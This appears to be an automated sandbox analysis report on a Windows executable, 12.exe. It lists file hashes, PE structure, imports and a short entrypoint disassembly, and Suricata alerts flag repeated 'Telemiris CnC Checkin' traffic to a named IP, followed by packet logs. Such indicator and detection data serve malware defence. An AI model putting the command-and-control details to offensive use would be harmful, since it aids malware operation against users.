Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M...... ./cf....B4cf......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.ZnH....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......ZqH..Roaming.@......DWSl.ZqH....C.....................^/..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.ZnH....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl.ZnH....E.....................T...W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.ZnH....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.ZnH....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.1963492880257665
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	12.exe
File size:	232'448 bytes
MD5:	90f2ca0a38d6e5416ee2f6be6326521d
SHA1:	00bf14e8153778835f95b9255ae1658e37819f8d
SHA256:	6534d5fd803f9c85bec3a820cef54f953e8643f3a4e16677d11decbf1a5b54c7
SHA512:	aa07eb51552921407b0407456f4a0235198e8bdb33981097bf034018b0e181eab6cc37bd695f9342e9e1a8c61a2094bfc2241592b8598c1a864468798f74912d
SSDEEP:	6144:5C+bHVcNxsYQ9I8ZIH9x7Uj6JBTLCZVFigz:E0HVuxsYn8GH9x7Uj6JBTLCZ
TLSH:	65346B69B7A40CF8E67B9279CC561A05D6B6BC074760EBCF03D006569F232D09E3EB61
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X"..9LU.9LU.9LU.AOT.9LU.AITb9LU.AHT.9LU..OT.9LU..HT.9LU..IT.9LU.AMT.9LU.9MU.9LU..ET.9LU...U.9LU..NT.9LURich.9LU...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140008398
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6769010D [Mon Dec 23 06:19:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	bae9372ed29a79b82eb7891c89186cec

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FA835B547E0h
dec eax
add esp, 28h
jmp 00007FA835B53CFFh
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007FA835B53E92h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007FA835B53E95h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007FA835B53E8Dh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007FA835B538CEh
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ecx
mov ebx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007FA835B53DF1h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x34d50	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x39000	0x222c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3d000	0x960	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x30c60	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x30b20	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24000	0x2e8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x22a30	0x22c00	cdb7432b3f088c769eb16769c4424884	False	0.5556640625	data	6.4462504419943	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x24000	0x11700	0x11800	e0d54e3796ebc0fb78d4078789258b4b	False	0.3832310267857143	data	4.976685659786107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x36000	0x2a44	0x1400	9c8cd079a9c68b3eb4060a0a7282fe58	False	0.168359375	DOS executable (block device driver)	2.7946886101663733	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x39000	0x222c	0x2400	e000eee54fad835513101cb67b3c1fa0	False	0.4638671875	data	5.167999163396566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3c000	0x1e0	0x200	63a978a93afb85b47b650b22380a3ca0	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3d000	0x960	0xa00	41784215a8e29e2be4bfc51218173d3f	False	0.498828125	data	5.324888411724977	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x3c060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

InitializeCriticalSectionEx, WaitForSingleObject, GetLastError, CloseHandle, DecodePointer, DeleteCriticalSection, CreateProcessW, SetEndOfFile, WriteConsoleW, SetStdHandle, LocalFree, FormatMessageA, GetLocaleInfoEx, CreateFileW, FindClose, FindFirstFileExW, FindNextFileW, GetFileAttributesW, GetTempPathW, AreFileApisANSI, GetModuleHandleW, GetProcAddress, MultiByteToWideChar, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, EncodePointer, LCMapStringEx, GetStringTypeW, GetCPInfo, IsDebuggerPresent, OutputDebugStringW, RaiseException, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, WriteFile, GetFileSizeEx, SetFilePointerEx, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, HeapFree, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, ReadFile, ReadConsoleW, HeapReAlloc, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, RtlUnwind

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T10:03:45.210761+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	149.154.167.220	443	TCP
2025-01-14T10:03:45.210761+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	49704	149.154.167.220	443	TCP
2025-01-14T10:03:48.462922+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49705	149.154.167.220	443	TCP
2025-01-14T10:03:48.462922+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49705	149.154.167.220	443	TCP
2025-01-14T10:03:48.462922+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	49705	149.154.167.220	443	TCP
2025-01-14T10:04:02.723979+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49725	149.154.167.220	443	TCP
2025-01-14T10:04:02.723979+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49725	149.154.167.220	443	TCP
2025-01-14T10:04:02.723979+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	49725	149.154.167.220	443	TCP
2025-01-14T10:04:11.695646+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49794	149.154.167.220	443	TCP
2025-01-14T10:04:11.695646+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49794	149.154.167.220	443	TCP
2025-01-14T10:04:11.695646+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	49794	149.154.167.220	443	TCP
2025-01-14T10:04:17.590674+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64791	149.154.167.220	443	TCP
2025-01-14T10:04:17.590674+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64791	149.154.167.220	443	TCP
2025-01-14T10:04:17.590674+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64791	149.154.167.220	443	TCP
2025-01-14T10:04:28.554435+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64862	149.154.167.220	443	TCP
2025-01-14T10:04:28.554435+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64862	149.154.167.220	443	TCP
2025-01-14T10:04:28.554435+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64862	149.154.167.220	443	TCP
2025-01-14T10:04:42.657834+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64944	149.154.167.220	443	TCP
2025-01-14T10:04:42.657834+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64944	149.154.167.220	443	TCP
2025-01-14T10:04:42.657834+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64944	149.154.167.220	443	TCP
2025-01-14T10:04:50.700050+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64975	149.154.167.220	443	TCP
2025-01-14T10:04:50.700050+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64975	149.154.167.220	443	TCP
2025-01-14T10:04:50.700050+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64975	149.154.167.220	443	TCP
2025-01-14T10:05:00.628281+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64976	149.154.167.220	443	TCP
2025-01-14T10:05:00.628281+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64976	149.154.167.220	443	TCP
2025-01-14T10:05:00.628281+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64976	149.154.167.220	443	TCP
2025-01-14T10:05:06.500484+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64977	149.154.167.220	443	TCP
2025-01-14T10:05:06.500484+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64977	149.154.167.220	443	TCP
2025-01-14T10:05:06.500484+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64977	149.154.167.220	443	TCP
2025-01-14T10:05:09.434763+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64978	149.154.167.220	443	TCP
2025-01-14T10:05:09.434763+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64978	149.154.167.220	443	TCP
2025-01-14T10:05:09.434763+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64978	149.154.167.220	443	TCP
2025-01-14T10:05:12.303603+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64979	149.154.167.220	443	TCP
2025-01-14T10:05:12.303603+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64979	149.154.167.220	443	TCP
2025-01-14T10:05:12.303603+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64979	149.154.167.220	443	TCP
2025-01-14T10:05:17.906176+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64980	149.154.167.220	443	TCP
2025-01-14T10:05:17.906176+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64980	149.154.167.220	443	TCP
2025-01-14T10:05:17.906176+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64980	149.154.167.220	443	TCP
2025-01-14T10:05:24.946423+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64981	149.154.167.220	443	TCP
2025-01-14T10:05:24.946423+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64981	149.154.167.220	443	TCP
2025-01-14T10:05:24.946423+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64981	149.154.167.220	443	TCP
2025-01-14T10:05:33.800975+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64982	149.154.167.220	443	TCP
2025-01-14T10:05:33.800975+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64982	149.154.167.220	443	TCP
2025-01-14T10:05:33.800975+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64982	149.154.167.220	443	TCP
2025-01-14T10:05:36.807885+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64983	149.154.167.220	443	TCP
2025-01-14T10:05:36.807885+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64983	149.154.167.220	443	TCP
2025-01-14T10:05:36.807885+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64983	149.154.167.220	443	TCP
2025-01-14T10:05:39.687968+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64984	149.154.167.220	443	TCP
2025-01-14T10:05:39.687968+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64984	149.154.167.220	443	TCP
2025-01-14T10:05:39.687968+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64984	149.154.167.220	443	TCP
2025-01-14T10:05:45.598094+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64985	149.154.167.220	443	TCP
2025-01-14T10:05:45.598094+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64985	149.154.167.220	443	TCP
2025-01-14T10:05:45.598094+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64985	149.154.167.220	443	TCP
2025-01-14T10:05:50.635229+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64986	149.154.167.220	443	TCP
2025-01-14T10:05:50.635229+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64986	149.154.167.220	443	TCP
2025-01-14T10:05:50.635229+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64986	149.154.167.220	443	TCP
2025-01-14T10:06:03.686867+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64987	149.154.167.220	443	TCP
2025-01-14T10:06:03.686867+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64987	149.154.167.220	443	TCP
2025-01-14T10:06:03.686867+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64987	149.154.167.220	443	TCP
2025-01-14T10:06:05.631751+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64988	149.154.167.220	443	TCP
2025-01-14T10:06:05.631751+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64988	149.154.167.220	443	TCP
2025-01-14T10:06:05.631751+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64988	149.154.167.220	443	TCP
2025-01-14T10:06:08.881366+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64989	149.154.167.220	443	TCP
2025-01-14T10:06:08.881366+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64989	149.154.167.220	443	TCP
2025-01-14T10:06:08.881366+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64989	149.154.167.220	443	TCP
2025-01-14T10:06:19.882827+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64990	149.154.167.220	443	TCP
2025-01-14T10:06:19.882827+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64990	149.154.167.220	443	TCP
2025-01-14T10:06:19.882827+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64990	149.154.167.220	443	TCP
2025-01-14T10:06:20.935845+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64991	149.154.167.220	443	TCP
2025-01-14T10:06:20.935845+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64991	149.154.167.220	443	TCP
2025-01-14T10:06:20.935845+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64991	149.154.167.220	443	TCP
2025-01-14T10:06:35.060683+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64992	149.154.167.220	443	TCP
2025-01-14T10:06:35.060683+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64992	149.154.167.220	443	TCP
2025-01-14T10:06:35.060683+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64992	149.154.167.220	443	TCP
2025-01-14T10:06:40.934228+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64993	149.154.167.220	443	TCP
2025-01-14T10:06:40.934228+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64993	149.154.167.220	443	TCP
2025-01-14T10:06:40.934228+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64993	149.154.167.220	443	TCP
2025-01-14T10:06:43.848963+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64994	149.154.167.220	443	TCP
2025-01-14T10:06:43.848963+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64994	149.154.167.220	443	TCP
2025-01-14T10:06:43.848963+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64994	149.154.167.220	443	TCP
2025-01-14T10:06:46.724880+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	64995	149.154.167.220	443	TCP
2025-01-14T10:06:46.724880+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	64995	149.154.167.220	443	TCP
2025-01-14T10:06:46.724880+0100	2058964	ET MALWARE Telemiris CnC Checkin	1	192.168.2.5	64995	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 10:03:44.270946026 CET	49704	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:44.270991087 CET	443	49704	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:44.271070004 CET	49704	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:44.281742096 CET	49704	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:44.281757116 CET	443	49704	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:44.967736959 CET	443	49704	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:44.967895031 CET	49704	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:44.971445084 CET	49704	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:44.971452951 CET	443	49704	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:44.971949100 CET	443	49704	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:44.982302904 CET	49704	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:45.023366928 CET	443	49704	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:45.210818052 CET	443	49704	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:45.210978031 CET	443	49704	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:45.211041927 CET	49704	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:45.214983940 CET	49704	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:47.490566969 CET	49705	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:47.490677118 CET	443	49705	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:47.490942955 CET	49705	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:47.547624111 CET	49705	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:47.547676086 CET	443	49705	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:48.155210972 CET	443	49705	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:48.200180054 CET	49705	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:48.290059090 CET	49705	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:48.290097952 CET	443	49705	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:48.462835073 CET	443	49705	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:48.462893009 CET	443	49705	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:48.462954044 CET	49705	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:48.463674068 CET	49705	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:58.837528944 CET	49725	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:58.837558031 CET	443	49725	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:58.837693930 CET	49725	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:58.838016987 CET	49725	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:58.838032961 CET	443	49725	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:59.448254108 CET	443	49725	149.154.167.220	192.168.2.5
Jan 14, 2025 10:03:59.455353975 CET	49725	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:03:59.455369949 CET	443	49725	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:02.724035025 CET	443	49725	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:02.724109888 CET	443	49725	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:02.724351883 CET	49725	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:02.733155012 CET	49725	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:10.759145975 CET	49794	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:10.759197950 CET	443	49794	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:10.759318113 CET	49794	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:10.759566069 CET	49794	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:10.759586096 CET	443	49794	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:11.403789043 CET	443	49794	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:11.410212040 CET	49794	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:11.410298109 CET	443	49794	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:11.695725918 CET	443	49794	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:11.695878029 CET	443	49794	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:11.695970058 CET	49794	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:11.696933985 CET	49794	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:12.188103914 CET	64778	53	192.168.2.5	162.159.36.2
Jan 14, 2025 10:04:12.192953110 CET	53	64778	162.159.36.2	192.168.2.5
Jan 14, 2025 10:04:12.193030119 CET	64778	53	192.168.2.5	162.159.36.2
Jan 14, 2025 10:04:12.197884083 CET	53	64778	162.159.36.2	192.168.2.5
Jan 14, 2025 10:04:12.648423910 CET	64778	53	192.168.2.5	162.159.36.2
Jan 14, 2025 10:04:12.653418064 CET	53	64778	162.159.36.2	192.168.2.5
Jan 14, 2025 10:04:12.654170990 CET	64778	53	192.168.2.5	162.159.36.2
Jan 14, 2025 10:04:13.696819067 CET	64791	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:13.696863890 CET	443	64791	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:13.697077036 CET	64791	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:13.697412968 CET	64791	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:13.697427988 CET	443	64791	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:14.309515953 CET	443	64791	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:14.310537100 CET	64791	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:14.310620070 CET	443	64791	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:17.590760946 CET	443	64791	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:17.590936899 CET	443	64791	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:17.591027975 CET	64791	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:17.591373920 CET	64791	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:24.625579119 CET	64862	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:24.625669956 CET	443	64862	149.154.167.220	192.168.2.5
Jan 14, 2025 10:04:24.625801086 CET	64862	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:24.626426935 CET	64862	443	192.168.2.5	149.154.167.220
Jan 14, 2025 10:04:24.626461983 CET	443	64862	149.154.167.220	192.168.2.5
